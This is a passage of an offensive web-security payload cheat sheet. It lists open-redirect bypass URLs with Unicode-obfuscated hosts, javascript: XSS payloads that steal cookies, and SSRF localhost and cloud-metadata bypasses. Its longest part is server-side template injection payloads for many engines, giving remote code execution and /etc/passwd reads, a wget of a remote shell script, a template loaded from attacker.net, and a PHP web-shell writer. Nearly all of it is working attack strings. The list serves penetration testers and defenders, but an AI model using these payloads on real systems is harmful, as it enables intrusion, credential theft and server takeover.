//https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
//www.whitelisteddomain.tld@https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
/https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
https:///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https:///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/%09/www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//%09/www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///%09/www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
////%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
////%09/www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://%09/www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
////%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
////%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/https://%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/https://%5cwww.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http:Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https:Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ%E3%80%82pw
\/\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ%00｡Ｐⓦ
https://www.whitelisteddomain.tld/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
〱Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
〵Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
ゝⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
ｰⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/〱Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/〵Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/ゝⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/ｰⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
<>//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@www.whitelisteddomain.tld
https://:@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@www.whitelisteddomain.tld
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@www.whitelisteddomain.tld/
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80?@www.whitelisteddomain.tld/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld+@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://www.whitelisteddomain.tld+&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#+@www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld⁺&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#⁺@www.whitelisteddomain.tld/
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\twww.whitelisteddomain.tld/
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@www.whitelisteddomain.tld/
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80?@www.whitelisteddomain.tld/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld+@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//www.whitelisteddomain.tld+&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#+@www.whitelisteddomain.tld/
//www.whitelisteddomain.tld⁺&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#⁺@www.whitelisteddomain.tld/
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\twww.whitelisteddomain.tld/
//;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http://;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http://﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%2f%2f.www.whitelisteddomain.tld/
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%5c%5c.www.whitelisteddomain.tld/
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%3F.www.whitelisteddomain.tld/
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%23.www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld:80%40Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
http://www.whitelisteddomain.tld%2eⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/https:/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
https:/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/%2f%2fⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
//%2f%2fⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/http:/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http:/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http://.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///\;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///\﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
/////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http://www.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\.www.whitelisteddomain.tld
%01https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
www.whitelisteddomain.tld;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
www.whitelisteddomain.tld﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://www.whitelisteddomain.tld;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://www.whitelisteddomain.tld﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
http:%0a%0dⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https://%0a%0dⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/www.whitelisteddomain.tld
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/www.whitelisteddomain.tld
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/www.whitelisteddomain.tld
javascript:alert(document.domain)//://
/#//localdomain.pw
#//localdomain.pw
/#//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
#//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
https%3A/localdomain.pw
https%3A/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%2f%2f.www.whitelisteddomain.tld/
https%3A/:@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@www.whitelisteddomain.tld
https%3A/;@localdomain.pw
https%3A/﹔@localdomain.pw
https%3A/www.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\.www.whitelisteddomain.tld
javascript:%250Aalert(1)
javascript:alert(1)//https://www.whitelisteddomain.tld
°/localdomain.pw
°/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
////localdomain。pw
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Ｐⓦ
//localdomain.pw?
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ?
//.@.@localdomain.pw
//.@.@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ
javascript:new%20Function`al\ert\`1\``;
%09Jav%09ascript:alert(1)
https://localdomain｡pw\ᵗwww.whitelisteddomain.tld
//localdomain｡pw\ᵗwww.whitelisteddomain.tld
https://www.whitelisteddomain.tld｡₨/
//www.whitelisteddomain.tld｡₨/
https://localdomain.pw\udfff@www.whitelisteddomain.tld/
//localdomain.pw\udfff@www.whitelisteddomain.tld/
https://localdomain.pw�@www.whitelisteddomain.tld/
//localdomain.pw�@www.whitelisteddomain.tld/
```


# Open Redirect to XSS

### Payloads

```javascript
javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)
javascript://%250Aalert(1)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
```


# Server Side Request Forgery (SSRF)

## Payloads

### SSRF in SVG file

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <image height="200" width="200" xlink:href="http://burpcollaborator.com/image.jpeg" />
</svg>
```

## Localhost Bypasses

### Using \[::]

```csharp
http://[::]:80/ #HTTP
http://[::]:25/ #SMTP 
http://[::]:22/ #SSH
http://[::]:3128/ #SQUID
http://0000::1:80/ #HTTP
http://0000::1:25/ #SMTP
http://0000::1:22/ #SSH
http://0000::1:3128/ #SQUID
```

### Using a domain redirection

```csharp
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
```

### Using CIDR

```csharp
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```

### Using decimal IP location

```csharp
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254
```

### Using Octal IP

```csharp
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
```

### Using IPv6/IPv4 Address Embedding

```csharp
http://[0:0:0:0:0:ffff:127.0.0.1]

#Cloud Metadata
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
```

### Using malformed urls

```csharp
localhost:+11211aaa
localhost:00011211aaaa
```

### Using weird address

```csharp
http://0/
http://127.1
http://127.0.1
```

### Using enclosed alphanumerics

```csharp
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```

### Against a weak parser

```csharp
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```

## References

{% embed url="<https://github.com/tarunkant/Gopherus>" %}
Gopherus - Tool to generate gopher link for exploiting SSRF and gaining RCE in various servers
{% endembed %}

{% embed url="<https://github.com/knassar702/lorsrf>" %}
lorsrf - SSRF parameter bruteforce (use scant3r module instead)
{% endembed %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypass-localhost-with-cidr>" %}
SSRF Payloads Repository
{% endembed %}


# Server Side Template Injection (SSTI)

## ASP.NET

### Razor

```cshtml
@(1+2)

//Command execution
@{
    //Code in C#
}
```

## CSS

### Lessjs

```css
#SSRF / LFI
@import (inline) "http://localhost";
@import (inline) "/etc/passwd";

#Remote Command Execution
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}
```

## Java

```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

//Retrieve system's environment variables
${T(java.lang.System).getenv()}

//Read File
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

### Expression Language EL

```csharp
${1+1}
#{1+1}

//DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

//Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

//Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

//Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

//Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

//Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

//Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```

### Freemarker

```csharp
//Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}

//Code Execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```

### Pebble

```java
//Remote Code Execution
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```

### Velocity

```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

## JavaScript

### Handlebars

```javascript
//Command Execution
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

## PHP

### Smarty

```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```

### Twig

```php
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File Read
"{{'/etc/passwd'|file_except(1,30)}}"@

#Remote Code Execution
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```

## Python

### Jinja2

```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
<pre>{% debug %}</pre>

#Dump all used classes
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

#Dump all config variables
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

#Read remote file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

#Write into remote file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

#Remote Code Execution
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

#Bypass '_'
